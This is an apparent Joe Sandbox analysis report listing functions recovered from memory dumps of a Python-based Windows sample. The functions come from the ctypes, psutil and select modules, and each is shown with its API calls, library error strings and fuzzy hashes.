_Py_Dealloc.PYTHON311 ref: 00007FF8B9F66F5C
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F66F6F

Strings

paramflags must be a sequence of (int [,string [,value]]) tuples, xrefs: 00007FF8B9F66F1D
O|O, xrefs: 00007FF8B9F61BA9
function '%s' not found, xrefs: 00007FF8B9F66DF5
i|OO, xrefs: 00007FF8B9F66E8A
could not convert the _handle attribute to a pointer, xrefs: 00007FF8B9F66D80
_handle, xrefs: 00007FF8B9F61C5D
ctypes.dlsym, xrefs: 00007FF8B9F61C40
function ordinal %d not found, xrefs: 00007FF8B9F66E08
paramflags must have the same length as argtypes, xrefs: 00007FF8B9F66D89
paramflags must be a tuple or None, xrefs: 00007FF8B9F66D99
paramflag value %d not supported, xrefs: 00007FF8B9F66DB9
abstract class, xrefs: 00007FF8B9F66E28
O&O;illegal func_spec argument, xrefs: 00007FF8B9F61C0E
the _handle attribute of the second argument must be an integer, xrefs: 00007FF8B9F66F42

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$Dealloc$Arg_FormatParseSizeStringTuple_$Eval_Thread$AddressAttrAuditLong_Object_OccurredProcRestoreSaveSequence_Sys_TupleVoid
String ID: O&O;illegal func_spec argument$O|O$_handle$abstract class$could not convert the _handle attribute to a pointer$ctypes.dlsym$function '%s' not found$function ordinal %d not found$i|OO$paramflag value %d not supported$paramflags must be a sequence of (int [,string [,value]]) tuples$paramflags must be a tuple or None$paramflags must have the same length as argtypes$the _handle attribute of the second argument must be an integer
API String ID: 1081342661-1557499450
Opcode ID: 81bf86f915efca78798dbd81cfc19dde70ba7face78de59bde1888ce70c5e139
Instruction ID: 36d09bc0d685742ffa6e45c4981265866e15ceb953f4f7df7133d95cbb6a0ad4
Opcode Fuzzy Hash: 81bf86f915efca78798dbd81cfc19dde70ba7face78de59bde1888ce70c5e139
Instruction Fuzzy Hash: CFC11922B09B8285EB548FADD8541B927B4BF46BEAF586036DB0E577A4DF3CE445C300

Function 00007FF8B9F6C9D0 Relevance: 54.5, APIs: 23, Strings: 8, Instructions: 244COMMON

Download Yara Rule

APIs

PyGILState_Ensure.PYTHON311 ref: 00007FF8B9F6CA15
PyType_IsSubtype.PYTHON311 ref: 00007FF8B9F6CAFE
memcpy.VCRUNTIME140 ref: 00007FF8B9F6CB1E
_PyDict_ContainsId.PYTHON311 ref: 00007FF8B9F6CB31
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9F6CBAC
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9F6CBB7
GetLastError.KERNEL32 ref: 00007FF8B9F6CBC9
SetLastError.KERNEL32 ref: 00007FF8B9F6CBD5
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6CBFA
PyErr_SetString.PYTHON311 ref: 00007FF8B9F6CC1A
PyObject_Vectorcall.PYTHON311 ref: 00007FF8B9F6CC3E
_PyErr_WriteUnraisableMsg.PYTHON311 ref: 00007FF8B9F6CC56
GetLastError.KERNEL32 ref: 00007FF8B9F6CC66
SetLastError.KERNEL32 ref: 00007FF8B9F6CC72
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9F6CC81
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9F6CC8C
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6CCA3

Part of subcall function 00007FF8B9F6CDA0: _Py_CheckFunctionResult.PYTHON311 ref: 00007FF8B9F6CDEF

_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6CCFC
PyErr_WarnEx.PYTHON311 ref: 00007FF8B9F6CD1B
_PyErr_WriteUnraisableMsg.PYTHON311 ref: 00007FF8B9F6CD31
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6CD40
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6CD59
PyGILState_Release.PYTHON311 ref: 00007FF8B9F6CD6E

Strings

cannot build parameter, xrefs: 00007FF8B9F6CC10
getting _needs_com_addref_, xrefs: 00007FF8B9F6CB3D
on converting result of ctypes callback function, xrefs: 00007FF8B9F6CD2A
unexpected result of create argument %zd:, xrefs: 00007FF8B9F6CC00
memory leak in callback function., xrefs: 00007FF8B9F6CD0B
create argument %zd:, xrefs: 00007FF8B9F6CBDD
on calling ctypes callback function, xrefs: 00007FF8B9F6CC4F
Parsing argument %zd, xrefs: 00007FF8B9F6CC20

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$Err_ErrorLast_errno$State_UnraisableWrite$CheckContainsDict_EnsureFunctionObject_ReleaseResultStringSubtypeType_VectorcallWarnmemcpy
String ID: Parsing argument %zd$cannot build parameter$create argument %zd:$getting _needs_com_addref_$memory leak in callback function.$on calling ctypes callback function$on converting result of ctypes callback function$unexpected result of create argument %zd:
API String ID: 1331253392-2697724128
Opcode ID: 662eda2fa9ad5fa4c0407cff36c88571a43e939dd8943eeb715751b67e50d2ce
Instruction ID: 11aba1ae14d1602639fee622c5b797bd818907b5c4a8aa504e1fb5e9e277e6b3
Opcode Fuzzy Hash: 662eda2fa9ad5fa4c0407cff36c88571a43e939dd8943eeb715751b67e50d2ce
Instruction Fuzzy Hash: 6CB14722A09BC286EB50DF29D8545B82BA0FF46BEAF499535DB5E477A4DF3CE444C300

Function 00007FF8B9076C60 Relevance: 49.1, APIs: 17, Strings: 11, Instructions: 124threadsynchronizationCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00007FF8B9076C9B
GetLastError.KERNEL32 ref: 00007FF8B9076CA9
WaitForSingleObject.KERNEL32 ref: 00007FF8B9076CE8
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9076D24
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9076D44
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9076D5E
TerminateThread.KERNEL32 ref: 00007FF8B9076D68
CloseHandle.KERNEL32 ref: 00007FF8B9076D81

Strings

WaitForSingleObject -> WAIT_FAILED, xrefs: 00007FF8B9076DE8
WaitForSingleObject, xrefs: 00007FF8B9076E29
(originated from %s), xrefs: 00007FF8B9076CB8
psutil/arch/windows/process_handles.c, xrefs: 00007FF8B9076D13, 00007FF8B9076DC4
get handle name thread timed out after %i ms, xrefs: 00007FF8B9076D3A
CreateThread, xrefs: 00007FF8B9076CAF
WaitForSingleObject -> WAIT_FAILED -> TerminateThread, xrefs: 00007FF8B9076E1D
GetExitCodeThread (failed) -> TerminateThread, xrefs: 00007FF8B9076E56
TerminateThread, xrefs: 00007FF8B9076D72
psutil-debug [%s:%d]> , xrefs: 00007FF8B9076D1D, 00007FF8B9076DCE
GetExitCodeThread, xrefs: 00007FF8B9076E6B

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: fprintf$Thread$CloseCreateErrorHandleLastObjectSingleTerminateWait
String ID: (originated from %s)$CreateThread$GetExitCodeThread$GetExitCodeThread (failed) -> TerminateThread$TerminateThread$WaitForSingleObject$WaitForSingleObject -> WAIT_FAILED$WaitForSingleObject -> WAIT_FAILED -> TerminateThread$get handle name thread timed out after %i ms$psutil-debug [%s:%d]> $psutil/arch/windows/process_handles.c
API String ID: 4284840722-1322275399
Opcode ID: 9dd7a0f0f07ac5019de236ac24ecf5f1858d8291b80df825920e46def3d78e7e
Instruction ID: 953d92833106573419d6e64965fbfa7ae0891b4612ca24f2c98c9e67582b03a1
Opcode Fuzzy Hash: 9dd7a0f0f07ac5019de236ac24ecf5f1858d8291b80df825920e46def3d78e7e
Instruction Fuzzy Hash: 2D511A24E0DAC792FE549F29E8553B92B61BFA47E1F405036DB0F462A1DE3CE84AC351

Function 00007FF8B9F641E0 Relevance: 45.7, APIs: 18, Strings: 8, Instructions: 214stringCOMMON

Download Yara Rule

APIs

_PyObject_LookupAttrId.PYTHON311 ref: 00007FF8B9F64230
PyUnicode_AsUTF8AndSize.PYTHON311 ref: 00007FF8B9F64268
strchr.VCRUNTIME140 ref: 00007FF8B9F64290
PyDict_Update.PYTHON311 ref: 00007FF8B9F64348
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6436B
PyObject_SetAttrString.PYTHON311 ref: 00007FF8B9F64425
PyObject_SetAttrString.PYTHON311 ref: 00007FF8B9F64438
PyObject_SetAttrString.PYTHON311 ref: 00007FF8B9F6444B
PyObject_SetAttrString.PYTHON311 ref: 00007FF8B9F6445E
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F6448C
PyErr_Format.PYTHON311 ref: 00007FF8B9F68DBE
PyErr_Format.PYTHON311 ref: 00007FF8B9F68DDD

Part of subcall function 00007FF8B9F622B0: _PyObject_MakeTpCall.PYTHON311 ref: 00007FF8B9F62301

Part of subcall function 00007FF8B9F6455C: PyMem_Malloc.PYTHON311 ref: 00007FF8B9F64588

_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68DEE
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68E07
PyErr_SetString.PYTHON311 ref: 00007FF8B9F68E57
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68E70
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68E7F

Strings

class must define a '_type_' attribute which must bea single character string containing one of '%s'., xrefs: 00007FF8B9F68DB4
cbBhHiIlLdfuzZqQPXOv?g, xrefs: 00007FF8B9F64289, 00007FF8B9F68DAD
__ctype_be__, xrefs: 00007FF8B9F64418, 00007FF8B9F64454
class must define a '_type_' string attribute, xrefs: 00007FF8B9F68E4D
class must define a '_type_' attribute, xrefs: 00007FF8B9F68D87
_type_ '%s' not supported, xrefs: 00007FF8B9F68DD0
__ctype_le__, xrefs: 00007FF8B9F6442E, 00007FF8B9F64441
class must define a '_type_' attribute which must be a string of length 1, xrefs: 00007FF8B9F68D9A

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Object_$AttrDeallocString$Err_$Format$CallDict_LookupMakeMallocMem_OccurredSizeUnicode_Updatestrchr
String ID: __ctype_be__$__ctype_le__$_type_ '%s' not supported$cbBhHiIlLdfuzZqQPXOv?g$class must define a '_type_' attribute$class must define a '_type_' attribute which must bea single character string containing one of '%s'.$class must define a '_type_' attribute which must be a string of length 1$class must define a '_type_' string attribute
API String ID: 692835343-917751260
Opcode ID: 1cbc2b4066554eb2cebf210fbf6479008959c66222fb09b3e1ad465d8608973f
Instruction ID: 1d87f1ddec5f56501d5ac426b7caac0b5f51da3f32c30ca3750dc891f8427efb
Opcode Fuzzy Hash: 1cbc2b4066554eb2cebf210fbf6479008959c66222fb09b3e1ad465d8608973f
Instruction Fuzzy Hash: 0EA13A22A09FC281EA559F6DE8502B977A0FF96BE6F085539DB8E46764DF3CE444C300

Function 00007FF8B9F646D4 Relevance: 44.0, APIs: 18, Strings: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_PyObject_LookupAttrId.PYTHON311 ref: 00007FF8B9F64715
_PyLong_Sign.PYTHON311 ref: 00007FF8B9F64744
PyLong_AsSsize_t.PYTHON311 ref: 00007FF8B9F64757
_PyObject_LookupAttrId.PYTHON311 ref: 00007FF8B9F64786

Part of subcall function 00007FF8B9F622B0: _PyObject_MakeTpCall.PYTHON311 ref: 00007FF8B9F62301

Part of subcall function 00007FF8B9F63A70: PyMem_Malloc.PYTHON311 ref: 00007FF8B9F63AB0

PyMem_Malloc.PYTHON311 ref: 00007FF8B9F64802
PyDict_Update.PYTHON311 ref: 00007FF8B9F648A9
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F648CC
PyErr_SetString.PYTHON311 ref: 00007FF8B9F68F34
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68F45
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68F61
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68F77
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F68F83
PyErr_ExceptionMatches.PYTHON311 ref: 00007FF8B9F68F9C
PyErr_SetString.PYTHON311 ref: 00007FF8B9F68FCC
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68FDB
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68FF0
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F69003
PyErr_NoMemory.PYTHON311 ref: 00007FF8B9F6900F

Strings

_type_ must have storage info, xrefs: 00007FF8B9F68FB2
The '_length_' attribute must be an integer, xrefs: 00007FF8B9F68F52
The '_length_' attribute must not be negative, xrefs: 00007FF8B9F68F6E
class must define a '_type_' attribute, xrefs: 00007FF8B9F68F13
array too large, xrefs: 00007FF8B9F68FC2
The '_length_' attribute is too large, xrefs: 00007FF8B9F68F2A
class must define a '_length_' attribute, xrefs: 00007FF8B9F68F0A

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$Err_$Object_$AttrLong_LookupMallocMem_String$CallDict_ExceptionMakeMatchesMemoryOccurredSignSsize_tUpdate
String ID: The '_length_' attribute is too large$The '_length_' attribute must be an integer$The '_length_' attribute must not be negative$_type_ must have storage info$array too large$class must define a '_length_' attribute$class must define a '_type_' attribute
API String ID: 4019195241-504660705
Opcode ID: 055b8fc62c60c1bd71026e2f714f2505c56a84889395af57f89967a2e91b601f
Instruction ID: 634270bdfec51d0baf61f7afec9ffd18668c844bf19c15327fb3aceac9657643
Opcode Fuzzy Hash: 055b8fc62c60c1bd71026e2f714f2505c56a84889395af57f89967a2e91b601f
Instruction Fuzzy Hash: AFA14A32A19F8281EA549F2DD89427827A1FF46BF6F186635DB1E463A4DF3CE485C300

Function 00007FF8B9F6A4C0 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 215COMMON

Download Yara Rule

APIs

PyIndex_Check.PYTHON311 ref: 00007FF8B9F6A4E1
PyNumber_AsSsize_t.PYTHON311 ref: 00007FF8B9F6A4FA
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F6A509
PyNumber_AsSsize_t.PYTHON311 ref: 00007FF8B9F6A570
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F6A57F
PyNumber_AsSsize_t.PYTHON311 ref: 00007FF8B9F6A5B7
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F6A5C6
PyNumber_AsSsize_t.PYTHON311 ref: 00007FF8B9F6A5F5
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F6A604
PyBytes_FromStringAndSize.PYTHON311 ref: 00007FF8B9F6A688
PyMem_Malloc.PYTHON311 ref: 00007FF8B9F6A6A5
PyErr_NoMemory.PYTHON311 ref: 00007FF8B9F6A6B3
PyBytes_FromStringAndSize.PYTHON311 ref: 00007FF8B9F6A6D9
PyMem_Free.PYTHON311 ref: 00007FF8B9F6A6E5
PyUnicode_New.PYTHON311 ref: 00007FF8B9F6A71D
PyUnicode_FromWideChar.PYTHON311 ref: 00007FF8B9F6A735
PyList_New.PYTHON311 ref: 00007FF8B9F6A797
PyErr_SetString.PYTHON311 ref: 00007FF8B9F6A7DE

Strings

slice step cannot be zero, xrefs: 00007FF8B9F6A595
Pointer indices must be integer, xrefs: 00007FF8B9F6A7D4
slice stop is required, xrefs: 00007FF8B9F6A5E2
slice start is required for step < 0, xrefs: 00007FF8B9F6A55D

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$Number_OccurredSsize_t$FromString$Bytes_Mem_SizeUnicode_$CharCheckFreeIndex_List_MallocMemoryWide
String ID: Pointer indices must be integer$slice start is required for step < 0$slice step cannot be zero$slice stop is required
API String ID: 3053630023-3059441807
Opcode ID: 6979928dfef85d8a828cd9ee037a140b3c1fa3fa22f5c964d232601827984960
Instruction ID: 5be0a8a5db7e2d41aa8d1d7b7776f3434023d3b4910e112153e3f8f2a5fcfbc2
Opcode Fuzzy Hash: 6979928dfef85d8a828cd9ee037a140b3c1fa3fa22f5c964d232601827984960
Instruction Fuzzy Hash: 26915A21B09B8282EA519F1DE65417827A1BF45FF6F4A6631CB2E477E4DF2DE845C300

Function 00007FF8B9F6C6B4 Relevance: 42.1, APIs: 21, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

PyUnicode_InternFromString.PYTHON311 ref: 00007FF8B9F6C6E7
PyImport_ImportModule.PYTHON311 ref: 00007FF8B9F6C6FB
PyObject_GetAttrString.PYTHON311 ref: 00007FF8B9F6C717
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C729
PyLong_FromVoidPtr.PYTHON311 ref: 00007FF8B9F6C73B
PyLong_FromVoidPtr.PYTHON311 ref: 00007FF8B9F6C747
PyLong_FromVoidPtr.PYTHON311 ref: 00007FF8B9F6C753
PyObject_CallFunctionObjArgs.PYTHON311 ref: 00007FF8B9F6C789
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C79C
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C7AB
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C7BA
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C7C9
PyLong_AsLong.PYTHON311 ref: 00007FF8B9F6C7DB
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F6C7E3
PyErr_WriteUnraisable.PYTHON311 ref: 00007FF8B9F6C803
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C817
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C82B
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C83F
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C853
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C862
PyErr_WriteUnraisable.PYTHON311 ref: 00007FF8B9F6C87D

Strings

_ctypes.DllGetClassObject, xrefs: 00007FF8B9F6C6E0
ctypes, xrefs: 00007FF8B9F6C6F4
DllGetClassObject, xrefs: 00007FF8B9F6C70D

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$FromLong_$Err_Void$Object_StringUnraisableWrite$ArgsAttrCallFunctionImportImport_InternLongModuleOccurredUnicode_
String ID: DllGetClassObject$_ctypes.DllGetClassObject$ctypes
API String ID: 375360433-177550262
Opcode ID: b5513430baef804698b72f87c032f2232b88aa434da5969d4ce7dec095e12011
Instruction ID: 40ad31fb2c8b4824ab53cf7fffd7a2ab4e704593143906b73eec63447a9d2ba6
Opcode Fuzzy Hash: b5513430baef804698b72f87c032f2232b88aa434da5969d4ce7dec095e12011
Instruction Fuzzy Hash: 7D51D826E09F8285FA949F2AE95823967A0BF46FE6F0C5135DB8E16760DF3CE455C300

Function 00007FF8B9842260 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 202timethreadnetworkCOMMON

Download Yara Rule

APIs

_PyTime_FromSecondsObject.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B98422BF
PyErr_ExceptionMatches.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B98422D3
PyErr_SetString.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B984231F

Part of subcall function 00007FF8B98425C8: PySequence_Fast.PYTHON311(00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B98425F0

_PyDeadline_Init.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B98423DA
PyEval_SaveThread.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B984241A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B9842423
select.WS2_32 ref: 00007FF8B984243D
PyEval_RestoreThread.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B9842449
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B984244F
PyErr_CheckSignals.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B984245E
_PyDeadline_Get.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B9842479
_PyTime_AsTimeval_clamp.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B9842497
PyErr_Occurred.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B98424F2
PyTuple_Pack.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B9842509
_Py_Dealloc.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B9842520
_Py_Dealloc.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B9842534
_Py_Dealloc.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B9842548
WSAGetLastError.WS2_32(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B98425AE
PyErr_SetExcFromWindowsErr.PYTHON311(?,?,?,00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B98425C0

Part of subcall function 00007FF8B98425C8: PyObject_AsFileDescriptor.PYTHON311(?,?,00007FF8B984224F), ref: 00007FF8B984265C
Part of subcall function 00007FF8B98425C8: PyErr_SetString.PYTHON311(?,?,00007FF8B984224F), ref: 00007FF8B98426CA
Part of subcall function 00007FF8B98425C8: _Py_Dealloc.PYTHON311(?,?,00007FF8B984224F), ref: 00007FF8B98426D9
Part of subcall function 00007FF8B98425C8: _Py_Dealloc.PYTHON311(?,?,00007FF8B984224F), ref: 00007FF8B98426E8

Part of subcall function 00007FF8B98425C8: _Py_Dealloc.PYTHON311(?,?,00007FF8B984224F), ref: 00007FF8B98426FE

Strings

timeout must be a float or None, xrefs: 00007FF8B98422E4
timeout must be non-negative, xrefs: 00007FF8B9842315

Memory Dump Source

Source File: 00000002.00000002.2073245464.00007FF8B9841000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8B9840000, based on PE: true

Associated: 00000002.00000002.2073221006.00007FF8B9840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073274420.00007FF8B9843000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073310530.00007FF8B9845000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073339457.00007FF8B9846000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9840000_mav17final.jbxd

Similarity

API ID: DeallocErr_$Deadline_Eval_FromStringThreadTime__errno$CheckDescriptorErrorExceptionFastFileInitLastMatchesObjectObject_OccurredPackRestoreSaveSecondsSequence_SignalsTimeval_clampTuple_Windowsselect
String ID: timeout must be a float or None$timeout must be non-negative
API String ID: 1581318368-2150404077
Opcode ID: af26c906d80cdcaef9b1c7707cf0177dbe53b8e671061a6009a46fe445b3fcbf
Instruction ID: 14f2b975306bad854638afd65850f7da2062ba7c7b54a3366bb699f92e0ede2f
Opcode Fuzzy Hash: af26c906d80cdcaef9b1c7707cf0177dbe53b8e671061a6009a46fe445b3fcbf
Instruction Fuzzy Hash: 06913C62B08AC396EA619F29E9541BD63A0FF45BD4F404136DB4E4BB98DF3CE545C700

Function 00007FF8B9F62E40 Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 127COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON311 ref: 00007FF8B9F62E50
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F62E69
PyMem_Malloc.PYTHON311 ref: 00007FF8B9F62EAE
PyObject_CallFunction.PYTHON311 ref: 00007FF8B9F62EFC
PyMem_Free.PYTHON311 ref: 00007FF8B9F62F08
PyDict_SetItem.PYTHON311 ref: 00007FF8B9F62F23
PyUnicode_AsUTF8.PYTHON311 ref: 00007FF8B9F67BAD
PyMem_Malloc.PYTHON311 ref: 00007FF8B9F67BD3
PyObject_CallFunction.PYTHON311 ref: 00007FF8B9F67C0B
PyMem_Free.PYTHON311 ref: 00007FF8B9F67C17
PyLong_FromVoidPtr.PYTHON311 ref: 00007FF8B9F67C29
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F67C48
PyErr_SetString.PYTHON311 ref: 00007FF8B9F67CA8

Strings

s(O){sO}, xrefs: 00007FF8B9F62EF5
_type_, xrefs: 00007FF8B9F62EDA
must be a ctypes type, xrefs: 00007FF8B9F67C9E
LP_%s, xrefs: 00007FF8B9F62EC4, 00007FF8B9F67BE4
s(O){}, xrefs: 00007FF8B9F67C04

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

